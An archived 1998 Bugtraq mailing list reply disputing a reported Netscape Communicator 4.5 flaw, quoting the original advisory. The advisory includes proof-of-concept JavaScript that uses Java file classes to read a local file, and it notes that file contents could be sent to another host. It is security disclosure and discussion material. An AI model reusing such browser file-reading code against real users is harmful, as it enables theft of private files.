Bugtraq mailing list archives
Re: Netscape Communicator 4.5 can read local files
From: BillL () METAINFO COM (Bill Lavalette)
Date: Mon, 23 Nov 1998 11:31:52 -0800
Hi - this appears to be no different then typing c:\ in the location of any browser hardly a security hole in my opinion the test site did not prove that this is a potential or current problem. Bill
-----Original Message----- From: Georgi Guninski [SMTP:guninski () HOTMAIL COM] Sent: Monday, November 23, 1998 10:37 AM To: BUGTRAQ () netspace org Subject: Netscape Communicator 4.5 can read local files There is a bug in Netscape Communicator 4.5 for Windows 95 and 4.05 for WinNT 4.0 (probably others) which allows reading files from the user's computer. It is not necessary the file name to be known, because directories may be browsed. The contents of the file may be sent to an arbitrary host. In order this to work, you need both Java and Javascript enabled. The bug may be exploited by email message. Demonstration is available at: http://www.geocities.com/ResearchTriangle/1711/b6.html Workaround: Disable Javascript or Java. The Javascript code is: sl=window.open("wysiwyg://1/file:///C|/"); sl2=sl.window.open(); sl2.location="javascript:s='<SCRIPT>b=\"Here is the beginning of your file: \";var f = new java.io.File(\"C:\\\\\\\\test.txt\");var fis = new java.io.FileInputStream(f); i=0; while ( ((a=fis.read()) != -1) && (i<100) ) { b += String.fromCharCode(a);i++;}alert(b);</'+'SCRIPT>'"; Regards, Georgi Guninski http://www.geocities.com/ResearchTriangle/1711 ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com
Current thread:
- Netscape Communicator 4.5 can read local files Georgi Guninski (Nov 23)
- Re: Netscape Communicator 4.5 can read local files Trev (Nov 23)
- Re: Netscape Communicator 4.5 can read local files Norbert Luckhardt (Nov 26)
- <Possible follow-ups>
- Re: Netscape Communicator 4.5 can read local files GNSS Research Division (Nov 23)
- Re: Netscape Communicator 4.5 can read local files Bill Lavalette (Nov 23)
- Re: Netscape Communicator 4.5 can read local files Andrew McNaughton (Nov 24)
- Re: Netscape Communicator 4.5 can read local files The Spirit of the Black Panther (Nov 23)
- Re: Netscape Communicator 4.5 can read local files Ryan Russell (Nov 24)
- Re: Netscape Communicator 4.5 can read local files Ben Collins (Nov 25)
- APC PowerNet SNMP Adapter Security Issues - Beta Firmware Paul Mansfield (Nov 25)
- Re: Netscape Communicator 4.5 can read local files Pavel Kankovsky (Nov 25)
- Re: Netscape Communicator 4.5 can read local files Terence Christopher Haddock (Nov 25)
- Re: Netscape Communicator 4.5 can read local files Ben Collins (Nov 25)
- Re: Netscape Communicator 4.5 can read local files Terence Christopher Haddock (Nov 25)
- XFree86 3.3.3 Released Aleph One (Nov 25)
- Re: Netscape Communicator 4.5 can read local files Ben Collins (Nov 25)